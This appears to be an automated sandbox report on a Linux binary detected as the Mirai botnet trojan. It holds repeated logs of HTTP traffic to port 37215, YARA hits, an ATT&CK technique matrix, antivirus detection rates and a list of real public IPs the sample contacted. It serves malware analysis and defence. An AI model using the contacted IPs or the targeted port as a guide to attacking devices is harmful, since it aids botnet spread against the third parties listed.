Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 40868
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 37350
Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45968
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51276
Source: unknown	Network traffic detected: HTTP traffic on port 35618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45712
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 55912
Source: unknown	Network traffic detected: HTTP traffic on port 36016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45888
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 44322
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33408
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 50794
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 37215

Source: 3f8dH3KxbO.elf

Submission file: segment LOAD with 7.9264 entropy (max. 8.0)

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	11 Obfuscated Files or Information	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
3f8dH3KxbO.elf	46%	ReversingLabs	Linux.Trojan.Mirai
3f8dH3KxbO.elf	42%	Virustotal		Browse

Name	Source	Malicious	Reputation
http://upx.sf.net	3f8dH3KxbO.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	3f8dH3KxbO.elf, 6229.1.0000000008048000.0000000008056000.r-x.sdmp	false	high
http://schemas.xmlsoap.org/soap/envelope/	3f8dH3KxbO.elf, 6229.1.0000000008048000.0000000008056000.r-x.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
197.131.5.125	unknown	Morocco	6713	IAM-ASMA	false
156.67.84.15	unknown	Germany	47273	KSI-KR-ASPL	false
102.151.100.161	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
41.240.39.15	unknown	Sudan	36998	SDN-MOBITELSD	false
197.231.214.201	unknown	unknown	36974	AFNET-ASCI	false
102.35.244.95	unknown	Reunion	37002	ReunicableRE	false
41.113.110.238	unknown	South Africa	16637	MTNNS-ASZA	false
156.7.73.38	unknown	United States	29975	VODACOM-ZA	false
154.31.65.173	unknown	United States	174	COGENT-174US	false
154.219.20.176	unknown	Seychelles	26484	IKGUL-26484US	false
154.233.4.156	unknown	Cote D'ivoire	36974	AFNET-ASCI	false
154.64.230.200	unknown	United States	174	COGENT-174US	false
102.191.160.210	unknown	Egypt	24835	RAYA-ASEG	false
197.96.173.28	unknown	South Africa	3741	ISZA	false
102.74.121.109	unknown	Morocco	6713	IAM-ASMA	false
197.179.205.74	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.119.144.198	unknown	South Africa	16637	MTNNS-ASZA	false
41.101.212.198	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.95.142.127	unknown	Sudan	36998	SDN-MOBITELSD	false
41.60.37.73	unknown	Mauritius	30969	ZOL-ASGB	false
154.189.85.215	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.21.203.55	unknown	South Africa	36994	Vodacom-VBZA	false
154.248.34.181	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.21.245.107	unknown	United States	17113	AS-TIERP-17113US	false
154.3.74.152	unknown	United States	174	COGENT-174US	false
41.158.217.95	unknown	Gabon	16058	Gabon-TelecomGA	false
156.92.190.242	unknown	United States	10695	WAL-MARTUS	false
102.112.147.76	unknown	Mauritius	23889	MauritiusTelecomMU	false
102.118.234.60	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.193.111.25	unknown	South Africa	11845	Vox-TelecomZA	false
154.104.45.65	unknown	Tunisia	37693	TUNISIANATN	false
156.192.53.245	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.64.208.79	unknown	Egypt	36992	ETISALAT-MISREG	false
156.38.239.167	unknown	South Africa	37153	xneeloZA	false
156.208.228.196	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.157.29.91	unknown	South Africa	37168	CELL-CZA	false
154.75.225.26	unknown	Tanzania United Republic of	37035	MIC-ASTZ	false
197.255.83.89	unknown	Ghana	37074	UG-ASGH	false
197.190.238.225	unknown	Ghana	37140	zain-asGH	false
102.94.133.183	unknown	Nigeria	37075	ZAINUGASUG	false
102.124.182.193	unknown	Sudan	36972	MTNSD	false
154.101.208.19	unknown	Sudan	36998	SDN-MOBITELSD	false
156.78.238.80	unknown	United States	18862	NCS-HEALTHCAREUS	false
156.69.42.178	unknown	New Zealand	297	AS297US	false
41.183.48.215	unknown	South Africa	37028	FNBCONNECTZA	false
102.123.192.245	unknown	Sudan	36972	MTNSD	false
41.201.246.154	unknown	Algeria	36947	ALGTEL-ASDZ	false
154.187.179.105	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.122.135.251	unknown	Egypt	36992	ETISALAT-MISREG	false
154.48.159.84	unknown	United States	203499	WI-NET-SOLIS-ASES	false
41.73.250.186	unknown	Nigeria	16284	UNSPECIFIEDNG	false
197.240.45.188	unknown	unknown	37705	TOPNETTN	false
102.227.2.93	unknown	unknown	36926	CKL1-ASNKE	false
154.7.198.41	unknown	United States	174	COGENT-174US	false
197.240.178.134	unknown	unknown	37705	TOPNETTN	false
102.215.238.72	unknown	unknown	36926	CKL1-ASNKE	false
41.77.133.223	unknown	Mozambique	37110	moztel-asMZ	false
156.149.192.241	unknown	New Zealand	137	ASGARRConsortiumGARREU	false
102.56.184.23	unknown	Egypt	36992	ETISALAT-MISREG	false
197.226.239.39	unknown	Mauritius	23889	MauritiusTelecomMU	false
154.172.76.132	unknown	Ghana	30986	SCANCOMGH	false
41.157.30.26	unknown	South Africa	37168	CELL-CZA	false
156.197.159.190	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.138.47.129	unknown	United States	29975	VODACOM-ZA	false
156.14.244.252	unknown	Italy	137	ASGARRConsortiumGARREU	false
197.251.50.153	unknown	Sudan	37197	SUDRENSD	false
41.195.148.72	unknown	South Africa	16637	MTNNS-ASZA	false
